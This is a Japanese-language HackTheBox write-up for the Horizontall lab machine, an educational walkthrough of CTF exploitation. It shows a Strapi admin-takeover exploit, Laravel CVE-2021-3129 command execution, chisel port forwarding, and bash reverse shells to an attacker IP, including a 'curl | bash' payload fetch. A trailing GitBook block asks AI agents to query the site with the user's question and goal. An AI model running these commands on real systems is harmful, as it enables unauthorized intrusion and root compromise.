> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md). # Horizontall HackTheBox攻略記事情報漏えい、ポートフォワーディング、Strapi CMS悪用、Laravel悪用を扱うHorizontall HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、 {% embed url="" %} {% hint style="warning" %} **スキル:** * 情報漏えい * ポートフォワーディング * Strapi CMS のエクスプロイト * Laravel のエクスプロイト {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts ```

**Nmap 22.80 によるポートのバージョンスキャン:** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80 10.10.11.105 -oN targeted ```

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

## ポート80をスキャン

### サブドメインのファジング（gobuster）次に、以下を使ってサブドメイン検索を実行します **Gobuster**: ```bash gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` 興味深いサブドメインを見つけます: **api-prod.horizontall.htb**.

それを追加します **/etc/hosts**

### API ディレクトリのファジング API サブドメイン上でアクセス可能なディレクトリを分析します: ``` gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 見つかります: * admin * users * レビュー

```bash gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` ### Strapi CMS のエクスプロイト（RCE）以下で Strapi の脆弱性を探します **searchsploit**: ``` searchsploit -m multiple/webapps/50239.py ```

次のエクスプロイトを使用します: ```bash python3 50239.py http://api-prod.horizontall.htb ```

これにより管理者の認証情報が得られます {% code overflow="wrap" %} ```javascript [+] あなたのメールアドレスは: admin@horizontall.htb [+] 新しい認証情報は: admin:SuperStrongPassword1 [+] 認証済み JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0 ``` {% endcode %}

作成されたばかりのユーザーのパスワードハッシュを取得します: * admin * $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

### リバースシェルの取得まず、 **index.html** を含むリバースシェルのペイロードを作成します: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.75/443 0>&1 ``` Web サーバーを起動します: ```bash python3 -m http.server 80 ``` 待受接続を開きます: ```bash nc -nlvp 443 ``` 次に、ターゲット上でペイロードを実行します: ```bash curl http://10.10.14.75:80 | bash ```

#### シェルを安定化させます: ```bash script /dev/null -c bash # Ctrl+Z reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### フラグ user.txt :)

## 権限昇格その後、ターゲットマシンで開いているポートを一覧表示し、ポート8000の存在を確認しました: ```bash netstat -tuln ```

次に、 `curl` を使ってポート8000上のサービスへのアクセスをテストしました: ```bash curl 127.0.0.1:8000 ``` その後、Laravel CMS の存在を確認しました。

### ポートフォワーディング chisel ポート8000 まず、ローカルマシンで Chisel をコンパイルしました: {% embed url="" %} その後、Python3 の HTTP サーバー経由で Chisel の実行ファイルを被害者マシンへ転送しました ```bash go build -ldflags "-s -w" . upx chisel ```

その後、Python3 の HTTP サーバー経由で Chisel の実行ファイルを被害者マシンへ転送しました ```bash python3 -m http.server 8080 wget http://10.10.14.75:8080/chisel ```

自分のマシンで Chisel サーバーを起動しました: ```bash ./chisel server -p 9000 -reverse ``` 次に、被害者マシン上で Chisel クライアントを設定し、ポート8000をローカルマシンへリダイレクトしました: ```bash ./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000 ```

## Laravel CMS のエクスプロイト（CVE-2021-3129） {% embed url="" %}

#### 任意コマンドの実行 CVE-2021-3129 の脆弱性を悪用して、サーバー上で任意のコマンドを実行します。まず、以下を実行して動作を確認します `id` コマンド: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` 出力により、root 権限があることが確認できます。

### root.txt フラグ :) アクセスが確認できたら、以下を読み取ってフラグを取得します `/root/root.txt` ファイル： ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt' ``` ### 対話的アクセスの取得（リバースシェル）対話型シェルを得るために、ポート443でリスナーを設定します: ```bash nc -nvlp 443 ``` 次に、エクスプロイトを使ってターゲットにリバースシェルを仕掛けます: {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} その後、ターゲットマシンで root 権限を取得します。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.